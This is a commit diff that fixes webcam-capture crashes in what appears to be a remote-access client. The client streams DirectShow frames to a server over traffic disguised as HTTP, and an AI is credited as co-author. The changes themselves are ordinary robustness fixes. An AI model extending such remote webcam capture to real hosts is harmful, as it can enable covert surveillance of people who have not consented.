Fix(client): keep webcam capture alive across driver quirks
Opening video management killed the client on some hosts: the DirectShow
sample callback memcpy'd into a null bitmap buffer.
IMediaControl::Run legitimately returns S_FALSE while the state change
completes asynchronously; the graph is already running and frames are
delivered. Open passed that S_FALSE to its caller, which compared against
S_OK (introduced in 8d4c118) and took the "camera failed to open" abort
path while the graph kept running; ConstructBI never allocated the buffers
and the first callback wrote to address 0.
Open now returns S_OK only when the graph is running (S_FALSE normalised)
and a failure code otherwise. BufferCB drops a frame with S_OK when the
buffer is not ready or the driver hands over more bytes than negotiated,
so the start-up race or a resolution change can neither corrupt the heap
nor stop the stream. ConstructBI validates the dimensions and allocates the
full BITMAPINFO that SendBitMapInfor copies.
Also accept FORMAT_VideoInfo2 (many built-in cameras report it, and the
cast to VIDEOINFOHEADER read garbage dimensions) and fix BindVideoFilter's
comma-expression loop that called BindToStorage with a dangling IMoniker
once enumeration ran out.
Debug and Release x64 clients build; the host that reproducibly crashed
now works.
Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
798456032e
commit
94cb4584c8
3 files changed
+98
-38
No files matched your search
+58
-32
@@ -4,6 +4,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CaptureVideo.h"
|
||||
#include <dvdmedia.h> // VIDEOINFOHEADER2:不少摄像头/驱动给的是 FORMAT_VideoInfo2
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -46,13 +47,14 @@ CCaptureVideo::~CCaptureVideo()
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_FALSE;
|
||||
HRESULT hResult = E_FAIL; // 默认失败:只有图真正跑起来才算成功
|
||||
bool graphRunning = false;
|
||||
do {
|
||||
hResult = InitCaptureGraphBuilder();
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
|
||||
hResult = S_FALSE;
|
||||
hResult = E_FAIL; // 没有可用的 DirectShow 采集设备
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -97,10 +99,29 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
|
||||
//3 扑捉数据 FDO 一旦有数据就进行 回调函数调用 属于一个类
|
||||
|
||||
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
|
||||
// 只按 VIDEOINFOHEADER 解释 mt.pbFormat 不够:很多摄像头/驱动(尤其
|
||||
// 笔记本内置摄像头)给出的格式是 FORMAT_VideoInfo2,两者头部布局不同,
|
||||
// 直接强转会读出垃圾宽高,后面按它分配缓冲/逐帧 memcpy 就会崩。两种都认,
|
||||
// 其它格式或非法尺寸一律当失败处理,让上层优雅退出而不是带病跑。
|
||||
BITMAPINFOHEADER* bmi = NULL;
|
||||
if (mt.formattype == FORMAT_VideoInfo && mt.pbFormat != NULL
|
||||
&& mt.cbFormat >= sizeof(VIDEOINFOHEADER)) {
|
||||
bmi = &((VIDEOINFOHEADER*)mt.pbFormat)->bmiHeader;
|
||||
} else if (mt.formattype == FORMAT_VideoInfo2 && mt.pbFormat != NULL
|
||||
&& mt.cbFormat >= sizeof(VIDEOINFOHEADER2)) {
|
||||
bmi = &((VIDEOINFOHEADER2*)mt.pbFormat)->bmiHeader;
|
||||
}
|
||||
if (bmi == NULL || bmi->biWidth <= 0 || bmi->biHeight == 0
|
||||
|| bmi->biWidth > 16384 || abs(bmi->biHeight) > 16384) {
|
||||
Mprintf("CCaptureVideo: unsupported media type (formattype=%08lx cbFormat=%lu), abort\n",
|
||||
(unsigned long)mt.formattype.Data1, (unsigned long)mt.cbFormat);
|
||||
FreeMediaType(mt);
|
||||
hResult = E_FAIL;
|
||||
break;
|
||||
}
|
||||
//mCB 是个另外一个类 并且全局变量 有个回调
|
||||
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
|
||||
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
|
||||
mCB.m_ulFullWidth = (ULONG)bmi->biWidth;
|
||||
mCB.m_ulFullHeight = (ULONG)abs(bmi->biHeight);
|
||||
|
||||
FreeMediaType(mt);
|
||||
|
||||
@@ -120,11 +141,19 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
// IMediaControl::Run 在「状态切换尚未完成、稍后异步完成」时会返回 S_FALSE,
|
||||
// 这时图已经在跑、SampleGrabber 回调随时会到。以前把它原样返回给上层,
|
||||
// 上层用 == S_OK 判断就误判成「摄像头没打开」并提前中止(8d4c118 引入),
|
||||
// 而回调随后拿还没分配的 m_BitmapData_Full 做 memcpy —— 写地址 0 崩溃。
|
||||
hResult = S_OK;
|
||||
graphRunning = true;
|
||||
} while (false);
|
||||
|
||||
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
Mprintf("CCaptureVideo Open %s (hr=%08lX)\n",
|
||||
graphRunning ? "succeed" : "failed", (unsigned long)hResult);
|
||||
|
||||
return hResult;
|
||||
// 图没跑起来时一律返回失败码(S_FALSE 也是「成功」语义,会让上层误判)
|
||||
return graphRunning ? S_OK : (FAILED(hResult) ? hResult : E_FAIL);
|
||||
}
|
||||
|
||||
|
||||
@@ -164,43 +193,40 @@ LPBITMAPINFO CCaptureVideo::GetBmpInfor()
|
||||
|
||||
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
|
||||
{
|
||||
if (deviceId < 0)
|
||||
if (deviceId < 0 || pFilter == NULL)
|
||||
return FALSE;// enumerate all video capture devices
|
||||
*pFilter = NULL;
|
||||
|
||||
CComPtr<ICreateDevEnum> pCreateDevEnum;
|
||||
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
|
||||
if (hr != NOERROR) {
|
||||
if (hr != NOERROR)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CComPtr<IEnumMoniker> pEm;
|
||||
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
|
||||
if (hr != NOERROR) {
|
||||
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pEm, 0);
|
||||
if (hr != S_OK) // S_FALSE = 该类别下没有任何 DirectShow 设备
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pEm->Reset();
|
||||
ULONG cFetched;
|
||||
IMoniker *pM;
|
||||
ULONG cFetched = 0;
|
||||
IMoniker* pM = NULL;
|
||||
int index = 0;
|
||||
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) {
|
||||
IPropertyBag *pBag;
|
||||
//通过BindToStorage 可以访问该设备的标识集
|
||||
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
|
||||
if(SUCCEEDED(hr)) {
|
||||
VARIANT var;
|
||||
var.vt = VT_BSTR;
|
||||
hr = pBag->Read(L"FriendlyName", &var, NULL);
|
||||
if (hr == NOERROR) {
|
||||
if (index == deviceId) {
|
||||
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
|
||||
}
|
||||
SysFreeString(var.bstrVal);
|
||||
}
|
||||
pBag->Release(); //引用计数--
|
||||
// 原实现写成逗号表达式 `while (hr = Next(...), hr == S_OK, index <= deviceId)`:
|
||||
// 循环条件实际只看 index,枚举结束后还会继续用未初始化/已释放的 pM 调
|
||||
// BindToStorage。机器上 VFW 能枚举到摄像头、DirectShow 却一个都没有时必崩。
|
||||
while (pEm->Next(1, &pM, &cFetched) == S_OK && pM != NULL) {
|
||||
if (index == deviceId) {
|
||||
hr = pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
|
||||
pM->Release();
|
||||
return SUCCEEDED(hr) && *pFilter != NULL;
|
||||
}
|
||||
pM->Release();
|
||||
index++;
|
||||
pM = NULL;
|
||||
++index;
|
||||
}
|
||||
return TRUE;
|
||||
Mprintf("CCaptureVideo: no DirectShow video device #%d (enumerated %d)\n", deviceId, index);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
+21
-4
@@ -123,10 +123,19 @@ public:
|
||||
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
|
||||
{
|
||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
|
||||
// 宽高来自摄像头驱动,必须挡住 0/超大值:否则 biSizeImage 会溢出成小值,
|
||||
// 之后每帧 memcpy 都变成堆越界——「换一台机器一开视频就崩」多半出在这里。
|
||||
if (m_ulFullWidth == 0 || m_ulFullHeight == 0
|
||||
|| m_ulFullWidth > 16384 || m_ulFullHeight > 16384)
|
||||
return NULL;
|
||||
|
||||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
|
||||
// 分配「头部 + 完整 256 项调色板」:BITMAPINFO 本身只声明 bmiColors[1]
|
||||
// (sizeof=44),而按 biBitCount 索引调色板的调用方会读到 44 字节之外。
|
||||
// 当前只以 24bpp 调用(RGBQUAD 用不到),但按最大调色板预留 1KB 最省心,
|
||||
// 也顺便修正了旧代码分配 40 字节、SendBitMapInfor 按 44 字节读取的越界。
|
||||
const size_t biSize = sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD);
|
||||
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[biSize];
|
||||
ZeroMemory(m_BitmapInfor_Full, biSize);
|
||||
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||
|
||||
@@ -192,8 +201,16 @@ public:
|
||||
}
|
||||
|
||||
if (bStact==CMD_CAN_COPY) { //未初始化 发送的同差异的一样
|
||||
// 驱动送来的帧可能比协商格式大(分辨率切换、格式回退、驱动自带填充):
|
||||
// 不校验长度就 memcpy 会直接把堆写坏,表现就是进程当场崩溃。
|
||||
// 注意必须返回 S_OK:BufferCB 返回错误可能让 SampleGrabber 停流,
|
||||
// 那会让「图刚跑起来、缓冲区还没建好」时的第一帧把整条视频流掐死。
|
||||
if (m_BitmapData_Full == NULL || m_dwSize == 0 || ulBufferSize <= 0
|
||||
|| (unsigned long)ulBufferSize > m_dwSize) {
|
||||
return S_OK; // 丢这一帧,保持数据流
|
||||
}
|
||||
//将图像数据拷贝的我们的内存
|
||||
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //位图
|
||||
memcpy(m_BitmapData_Full,szBuffer,(size_t)ulBufferSize); //位图
|
||||
|
||||
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //原子自增可以发送
|
||||
return S_OK;
|
||||
|
||||
+19
-2
@@ -36,6 +36,14 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
return 0x20261013;
|
||||
}
|
||||
|
||||
// 摄像头打开成功但格式解析失败(VIDEOINFOHEADER2 之外的媒体类型、宽高非法等):
|
||||
// 结束本次会话,绝不带着空缓冲区进采帧循环——那会在第一帧 memcpy 时崩掉。
|
||||
if (This->m_CapVideo.GetBmpInfor() == NULL) {
|
||||
Mprintf("CVideoManager: camera format unusable, abort session\n");
|
||||
This->Destroy();
|
||||
return 0x20261014;
|
||||
}
|
||||
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) { //转到Initialize
|
||||
@@ -100,10 +108,15 @@ void CVideoManager::Destroy()
|
||||
|
||||
void CVideoManager::SendBitMapInfor()
|
||||
{
|
||||
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
|
||||
if (bi == NULL) {
|
||||
Mprintf("CVideoManager: no bitmap info, skip sending\n");
|
||||
return;
|
||||
}
|
||||
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
memcpy(szBuffer + 1, bi, sizeof(BITMAPINFO));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
|
||||
}
|
||||
@@ -187,9 +200,13 @@ BOOL CVideoManager::Initialize()
|
||||
bRet= FALSE;
|
||||
return bRet;
|
||||
}
|
||||
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
|
||||
if (bi == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
|
||||
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
|
||||
if (!m_pVideoCodec->InitCompressor(bi, m_fccHandler)) {
|
||||
delete m_pVideoCodec;
|
||||
bRet=FALSE;
|
||||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||||
|
||||
Reference in new issue
Block a user